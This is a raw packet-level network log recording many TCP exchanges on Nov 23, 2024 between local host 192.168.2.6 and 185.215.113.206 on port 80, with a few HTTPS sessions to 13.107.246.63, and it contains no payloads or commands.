Nov 23, 2024 21:59:18.274666071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.275439978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.275494099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.275640965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.275690079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.276462078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.276563883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.276833057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.276885986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.277478933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.277534962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.277749062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.277848005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.278515100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.278573036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.278654099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.278708935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.279572964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.279628038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.279690981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.279741049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.280560017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.280628920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.280698061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.280781984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.281579018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.281630039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.281857967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.281934977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.282607079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.282660961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.283071995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.283148050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.283664942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.283719063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.284095049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.284148932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.284670115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.284801006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.284802914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.284847021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.285706997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.285770893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.286128998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.286185980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.286746979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.286801100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.287081003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.287132025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.287803888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.287847996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.287856102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.287894964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.302974939 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.303617001 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.303642035 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.304083109 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.304088116 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.318684101 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.319015980 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.319071054 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.319394112 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.319402933 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.338165045 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.338546038 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.338557959 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.338840008 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.338844061 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.354948044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.355025053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.355098963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.355160952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.355429888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.355540037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.355566978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.355621099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.356476068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.356528044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.356667042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.356717110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.357731104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.357784986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.358160019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.358212948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.358561993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.358632088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.358652115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.358701944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.359524012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.359580994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.360066891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.360121965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.360584974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.360639095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.360797882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.360855103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.361596107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.361654997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.361723900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.361778975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.362627029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.362682104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.362749100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.362812042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.363650084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.363703012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.363714933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.363790035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.364671946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.364726067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.364871025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.364932060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.365703106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.365762949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.365833044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.365900993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.366722107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.366780043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.367183924 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.367223024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.367374897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.367566109 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.367582083 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.367764950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.367945910 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.367952108 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.367968082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.368830919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.368877888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.368925095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.368940115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.368983030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.369807959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.369858027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.369981050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.370079041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.370855093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.370899916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.370914936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.370940924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.422611952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.422678947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.422688961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.422766924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.422996044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.423053980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.423157930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.423245907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.423963070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.424015999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.424084902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.424155951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.424916029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.424969912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.425244093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.425322056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.425869942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.425964117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.426193953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.426250935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.426824093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.426887035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.427061081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.427114010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.427753925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.427799940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.427918911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.427966118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.428720951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.428776026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.428895950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.428961992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.429694891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.429742098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.429745913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.429790020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.430577993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.430634975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.430701017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.430782080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.431515932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.431571007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.432245970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.432301998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.432475090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.432663918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.432713985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.433412075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.433540106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.433990002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.434039116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.434354067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.434405088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.434470892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.434551954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.435391903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.435445070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.435683012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.435960054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.436254025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.436321974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.436381102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.436465025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.437202930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.437256098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.437427998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.437483072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.438138008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.438198090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.438265085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.438314915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.439146996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.439199924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.440088034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.440135002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.440135956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.440182924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.440186977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.440232038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.473155022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.473292112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.473326921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.473506927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.473639965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.473901987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.474354982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.474405050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.474526882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.474569082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.474576950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.474617004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.475395918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.475450039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.476022005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.476068974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.476419926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.476471901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.476485968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.476531029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.477304935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.477349997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.477413893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.477472067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.478204012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.478288889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.478368044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.478527069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.479187965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.479239941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.479554892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.479635954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.480149031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.480319977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.480407000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.481081009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.481146097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.481164932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.481209040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.482019901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.482095003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.482198954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.482285976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.482955933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.483194113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.483278036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.483331919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.483894110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.483948946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.484164000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.484447002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.484833002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.484883070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.484951019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.485291004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.485789061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.485852957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.485977888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.486047983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.486773014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.486829996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.486892939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.486944914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.487687111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.487778902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.487921953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.488068104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.514851093 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.515779972 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.515816927 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.516387939 CET	49728	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:18.516393900 CET	443	49728	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:18.556602955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.556654930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.556679964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.556711912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.557044029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.557219028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.557550907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.557595015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.557971954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.558095932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.558459997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.558521032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.558911085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.558964014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.559088945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.559135914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.559942007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.559999943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.560228109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.560405970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.560831070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.560893059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.561074972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.561127901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.561774969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.561831951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.561953068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.562015057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.562700987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.562835932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.562894106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.563733101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.563791037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.563846111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.563935995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.564668894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.564718008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.564727068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.564769983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.565547943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.565613031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.565928936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.565987110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.566519022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.566643000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.566699982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.567430973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:18.567488909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:18.568058014 CET	80	49714	185.215.113.206	192.168.2.6
